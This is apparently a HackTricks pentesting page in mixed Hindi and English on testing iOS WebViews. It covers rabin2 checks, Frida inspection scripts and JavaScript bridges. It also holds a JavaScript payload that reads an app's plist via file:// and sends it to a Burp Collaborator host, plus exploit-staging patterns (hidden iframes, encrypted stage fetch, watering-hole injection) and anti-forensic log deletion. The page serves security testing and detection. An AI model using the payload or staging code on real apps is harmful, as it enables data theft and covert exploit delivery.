iOS WebViews

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

The code of this page was extracted from here. Check the page for further details.

WebViews के प्रकार

WebViews का उपयोग applications के भीतर वेब कंटेंट को interactive तरीके से दिखाने के लिए किया जाता है। विभिन्न प्रकार के WebViews iOS applications के लिए अलग-अलग कार्यात्मकताएँ और सुरक्षा सुविधाएँ प्रदान करते हैं। संक्षेप में विवरण इस प्रकार है:

  • UIWebView, जिसे iOS 12 के बाद से अनुशंसित नहीं किया जाता है क्योंकि यह JavaScript को अक्षम करने का समर्थन नहीं करता, जिससे यह script injection और Cross-Site Scripting (XSS) हमलों के प्रति संवेदनशील हो जाता है।

  • WKWebView apps में वेब कंटेंट सम्मिलित करने के लिए प्राथमिक विकल्प है, जो कंटेंट और सुरक्षा सुविधाओं पर बेहतर नियंत्रण प्रदान करती है। डिफ़ॉल्ट रूप से JavaScript सक्षम होता है, लेकिन आवश्यक होने पर इसे अक्षम किया जा सकता है। यह ऐसे फीचर भी सपोर्ट करता है जो JavaScript द्वारा स्वतः विंडो खोलने को रोकते हैं और सुनिश्चित करता है कि सभी कंटेंट सुरक्षित रूप से लोड हों। अतिरिक्त रूप से, WKWebView की आर्किटेक्चर मेमोरी करप्शन के प्रभाव को मुख्य app प्रोसेस तक पहुँचने के जोखिम को कम करती है।

  • SFSafariViewController apps के भीतर एक मानकीकृत वेब ब्राउज़िंग अनुभव प्रदान करता है, जो अपने विशिष्ट लेआउट से पहचाना जाता है जिसमें एक read-only address field, share और navigation बटन, और Safari में कंटेंट खोलने के लिए एक direct link शामिल है। WKWebView के विपरीत, SFSafariViewController में JavaScript को अक्षम नहीं किया जा सकता है, और यह Safari के साथ cookies और डेटा साझा करता है, जिससे app से उपयोगकर्ता की गोपनीयता बनी रहती है। यह App Store दिशानिर्देशों के अनुसार प्रमुखता से प्रदर्शित किया जाना चाहिए।

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews कॉन्फ़िगरेशन अन्वेषण सारांश

Static Analysis Overview

In the process of examining WebViews कॉन्फ़िगरेशन, two primary types are focused on: UIWebView and WKWebView. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.

  • UIWebView पहचान
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

यह कमांड बाइनरी में उससे संबंधित टेक्स्ट स्ट्रिंग्स खोजकर UIWebView के उदाहरणों का पता लगाने में मदद करता है।

  • WKWebView पहचान
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

इसी तरह, WKWebView के लिए यह कमांड बाइनरी में उसके उपयोग का संकेत देने वाले टेक्स्ट स्ट्रिंग्स की खोज करता है।

इसके अलावा, यह पता लगाने के लिए कि WKWebView किस प्रकार इनिशियलाइज़ होता है, निम्नलिखित कमांड चलाया जाता है, जो इसकी इनिशियलाइज़ेशन से संबंधित मेथड सिग्नेचर को लक्षित करता है:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript कॉन्फ़िगरेशन सत्यापन

WKWebView के लिए, यह रेखांकित किया गया है कि जब तक आवश्यक न हो JavaScript को अक्षम करना एक सर्वोत्तम अभ्यास है। संकलित बाइनरी में यह पुष्टि करने के लिए खोज की जाती है कि javaScriptEnabled प्रॉपर्टी false पर सेट है, जिससे यह सुनिश्चित होता है कि JavaScript अक्षम है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

केवल सुरक्षित सामग्री सत्यापन

WKWebView, UIWebView के विपरीत, मिक्स्ड कंटेंट मुद्दों की पहचान करने की क्षमता प्रदान करता है। यह hasOnlySecureContent प्रॉपर्टी का उपयोग करके जाँचा जाता है ताकि यह सुनिश्चित किया जा सके कि सभी पेज संसाधन सुरक्षित कनेक्शनों के माध्यम से लोड किए गए हैं। कम्पाइल किए गए बाइनरी में खोज निम्नानुसार की जाती है:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

डायनामिक विश्लेषण अंतर्दृष्टियाँ

डायनामिक विश्लेषण में heap का निरीक्षण करके WebView instances और उनकी properties की जाँच की जाती है। webviews_inspector.js नामक एक script इस उद्देश्य के लिए उपयोग किया जाता है, जो UIWebView, WKWebView, और SFSafariViewController instances को लक्षित करता है। यह मिले हुए instances के बारे में जानकारी लॉग करता है, जिसमें URLs और JavaScript तथा secure content से संबंधित सेटिंग्स शामिल हैं।

Heap inspection ObjC.choose() का उपयोग करके की जा सकती है ताकि WebView instances की पहचान की जा सके और javaScriptEnabled और hasonlysecurecontent properties की जाँच की जा सके।

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

स्क्रिप्ट निम्नलिखित कमांड के साथ निष्पादित की जाती है:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

मुख्य परिणाम:

  • WebViews के उदाहरण सफलतापूर्वक ढूँढे और निरीक्षण किए गए।
  • JavaScript सक्षम होना और सुरक्षित सामग्री सेटिंग्स सत्यापित की गईं।

यह सारांश static और dynamic तरीकों के माध्यम से WebView कॉन्फ़िगरेशन का विश्लेषण करने में शामिल महत्वपूर्ण चरणों और कमांड्स को संक्षेप में प्रस्तुत करता है, और विशेष रूप से JavaScript सक्षम करना और mixed content detection जैसे सुरक्षा फीचर्स पर केंद्रित है।

WebView Protocol Handling

WebViews में सामग्री का हैंडलिंग एक महत्वपूर्ण पहलू है, खासकर जब विभिन्न प्रोटोकॉल जैसे http(s)://, file://, और tel:// के साथ काम किया जा रहा हो। ये प्रोटोकॉल ऐप्स के अंदर remote और local दोनों तरह की सामग्री लोड करने की अनुमति देते हैं। यह ज़ोर दिया जाता है कि स्थानीय सामग्री लोड करते समय सावधानियाँ बरती जाएँ ताकि उपयोगकर्ता फ़ाइल के नाम या पथ को प्रभावित न कर सकें और सामग्री को स्वयं संपादित न कर सकें।

WebViews विभिन्न तरीकों से सामग्री लोड करने की सुविधा देते हैं। UIWebView, जो अब deprecated है, में loadHTMLString:baseURL: और loadData:MIMEType:textEncodingName:baseURL: जैसे मेथड्स उपयोग होते हैं। दूसरी ओर WKWebView web content के लिए loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, और loadRequest: का उपयोग करता है। लोकल फाइलें लोड करने के लिए आमतौर पर pathForResource:ofType:, URLForResource:withExtension:, और init(contentsOf:encoding:) जैसे मेथड्स उपयोग में लाए जाते हैं। loadFileURL:allowingReadAccessToURL: मेथड विशेष रूप से गौर करने योग्य है क्योंकि यह WebView में किसी विशिष्ट URL या directory को लोड करने में सक्षम है, और यदि directory दिया गया हो तो यह संवेदनशील डेटा उजागर कर सकता है।

इन मेथड्स को source code या compiled binary में खोजने के लिए, निम्नलिखित जैसे कमांड्स उपयोग किए जा सकते हैं:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

file access के मामले में, UIWebView इसे सार्वभौमिक रूप से अनुमति देता है, जबकि WKWebView फ़ाइल URLs से पहुँच को प्रबंधित करने के लिए allowFileAccessFromFileURLs और allowUniversalAccessFromFileURLs सेटिंग्स पेश करता है, दोनों डिफ़ॉल्ट रूप से false हैं।

एक Frida स्क्रिप्ट उदाहरण दिया गया है ताकि सुरक्षा सेटिंग्स के लिए WKWebView विन्यासों का निरीक्षण किया जा सके:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

अंत में, local files को exfiltrating के लिए लक्षित एक JavaScript payload का उदाहरण यह दिखाता है कि गलत तरीके से कॉन्फ़िगर किए गए WebViews से जुड़ा संभावित सुरक्षा जोखिम कितना गंभीर हो सकता है। यह payload फ़ाइल की सामग्री को सर्वर पर भेजने से पहले hex फ़ॉर्मेट में encode करता है, जो WebView implementations में कड़े सुरक्षा उपायों की आवश्यकता को रेखांकित करता है।

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

WebViews के माध्यम से एक्सपोज़ किए गए नेटिव मेथड

iOS में WebView नेटिव इंटरफेस को समझना

iOS 7 से, Apple ने WebView में JavaScript और नेटिव Swift या Objective-C objects के बीच communication के लिए APIs प्रदान किए। यह एकीकरण मुख्य रूप से दो तरीकों के माध्यम से संभव होता है:

  • JSContext: जब किसी Swift या Objective-C ब्लॉक को किसी JSContext के भीतर किसी identifier से लिंक किया जाता है, तो एक JavaScript function स्वचालित रूप से बन जाती है। यह JavaScript और नेटिव कोड के बीच निर्बाध एकीकरण और संचार की अनुमति देता है।
  • JSExport Protocol: JSExport protocol को inherit करके, नेटिव properties, instance methods, और class methods को JavaScript के लिए expose किया जा सकता है। इसका मतलब है कि JavaScript environment में किए गए किसी भी परिवर्तन का प्रतिबिंब नेटिव environment में दिखता है, और इसके विपरीत भी सत्य है। हालाँकि, यह सुनिश्चित करना आवश्यक है कि इस तरीके से संवेदनशील डेटा अनजाने में expose न हो।

Accessing JSContext in Objective-C

Objective-C में, किसी UIWebView के लिए JSContext को निम्नलिखित कोड लाइन से प्राप्त किया जा सकता है:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView के साथ संचार

WKWebView के लिए, JSContext तक सीधा एक्सेस उपलब्ध नहीं है। इसके बजाय, संदेश पासिंग को postMessage function के माध्यम से उपयोग किया जाता है, जिससे JavaScript और native के बीच संचार संभव होता है। इन संदेशों के लिए handlers निम्नानुसार सेट किए जाते हैं, जिससे JavaScript सुरक्षित रूप से native एप्लिकेशन के साथ इंटरैक्ट कर सकता है:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

इंटरैक्शन और परीक्षण

JavaScript एक script message handler परिभाषित करके native layer के साथ इंटरैक्ट कर सकता है। यह webpage से native functions को invoke करने जैसे ऑपरेशन्स की अनुमति देता है:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

एक native फ़ंक्शन कॉल के परिणाम को पकड़ने और हेरफेर करने के लिए, HTML के भीतर callback फ़ंक्शन को override किया जा सकता है:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

नैटिव साइड JavaScript कॉल को JavaScriptBridgeMessageHandler क्लास में दिखाए अनुसार संभालता है, जहाँ संख्याओं के गुणा जैसे ऑपरेशनों का परिणाम प्रोसेस करके प्रदर्शित करने या आगे संसाधित करने के लिए वापस JavaScript को भेजा जाता है:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS Web Exploit Delivery & Staging Tradecraft

निम्नलिखित पैटर्न वास्तविक दुनिया के iOS Safari/WebKit exploit delivery chains में देखे गए हैं और विश्लेषण, पहचान, तथा नियंत्रित अनुकरण के लिए उपयोगी हैं।

Multi-stage loader via hidden iframes

एक सामान्य स्टेजिंग पैटर्न यह है कि पुनःसंक्रमण या विश्लेषण से बचने के लिए निष्पादन को गेट किया जाए और फिर अगले चरण के लिए एक hidden/off-screen iframe inject किया जाए:

<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>

एक minimal staging page main loader को document.write() के माध्यम से inject कर सकता है:

<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>

लोडर चरण अक्सर बाद के JavaScript को सिंक्रोनस रूप से लोड करते हैं:

function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}

बाद के चरण worker-like context में Blob URL बनाकर चलाए जा सकते हैं:

const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);

Safari को WebKit/JSC सतह तक पहुँचने के लिए मजबूर करना

यदि लक्ष्य किसी अन्य ब्राउज़र में कोई lure खोलता है, तो एक protocol handler Safari को मजबूर कर सकता है:

if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}

एन्क्रिप्टेड स्टेज फेच (ECDH + AES)

कुछ loaders exploit stages को transit में एन्क्रिप्ट करते हैं। एक न्यूनतम client flow यह है: एक ephemeral ECDH keypair जनरेट करें, base64 public key को POST करें, encrypted blobs प्राप्त करें, एक AES key derive करें, decrypt करें, फिर JavaScript में decode करें:

const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));

Watering-hole injection pattern

Compromised साइट्स एक remote script लोड कर सकती हैं जो स्क्रीन के बाहर एक iframe बनाती है और उसे एक sandbox के साथ प्रतिबंधित करती है, फिर भी script execution की अनुमति देती है:

<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);

Post-exploitation anti-forensics indicators (JS implants)

  • /tmp/<uuid>.<digits>/ के अंतर्गत अस्थायी स्टेजिंग, जिसमें STORAGE, DATA, और TMP जैसे उप-फोल्डर होते हैं।
  • /var/mobile/Library/Logs/CrashReporter/ में crash logs का हटाया जाना (अक्सर WebKit/SpringBoard सबस्ट्रिंग द्वारा फ़िल्टर किया जाता है)।
  • /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/ का recursive deletion।

iOS WebViews का डिबगिंग

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS webviews के भीतर वेब कंटेंट को प्रभावी ढंग से डिबग करने के लिए Safari के developer tools शामिल एक खास सेटअप आवश्यक है क्योंकि console.log() को भेजे गए मैसेज Xcode लॉग्स में प्रदर्शित नहीं होते। यहाँ एक सरल गाइड है, जो मुख्य चरणों और आवश्यकताओं पर ज़ोर देता है:

  • Preparation on iOS Device: Safari Web Inspector को आपके iOS डिवाइस पर सक्रिय करना होगा। यह Settings > Safari > Advanced में जाकर और Web Inspector को सक्षम करके किया जाता है।

  • Preparation on macOS Device: आपके macOS डेवलपमेंट मशीन पर Safari में developer tools सक्षम करने होंगे। Safari लॉन्च करें, Safari > Preferences > Advanced में जाएँ, और Show Develop menu विकल्प चुनें।

  • Connection and Debugging: अपने iOS डिवाइस को macOS कंप्यूटर से कनेक्ट करने और अपनी एप्लिकेशन लॉन्च करने के बाद, macOS पर Safari का उपयोग करके उस webview का चयन करें जिसे आप डिबग करना चाहते हैं। Safari मेनू बार में Develop पर नेविगेट करें, अपने iOS डिवाइस के नाम पर होवर करें ताकि webview इंस्टेंस की सूची दिखे, और जिस इंस्टेंस का आप निरीक्षण करना चाहते हैं उसे चुनें। इस उद्देश्य के लिए एक नया Safari Web Inspector विंडो खुलेगा।

हालाँकि, इन सीमाओं का ध्यान रखें:

  • इस तरीके से डिबग करने के लिए macOS डिवाइस आवश्यक है क्योंकि यह Safari पर निर्भर करता है।
  • केवल वे webviews ही डिबग किए जा सकते हैं जो Xcode के माध्यम से आपके डिवाइस पर लोड की गई एप्लिकेशनों में हैं। App Store या Apple Configurator के द्वारा इंस्टॉल की गई ऐप्स के webviews इस तरीके से डिबग नहीं किए जा सकते।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें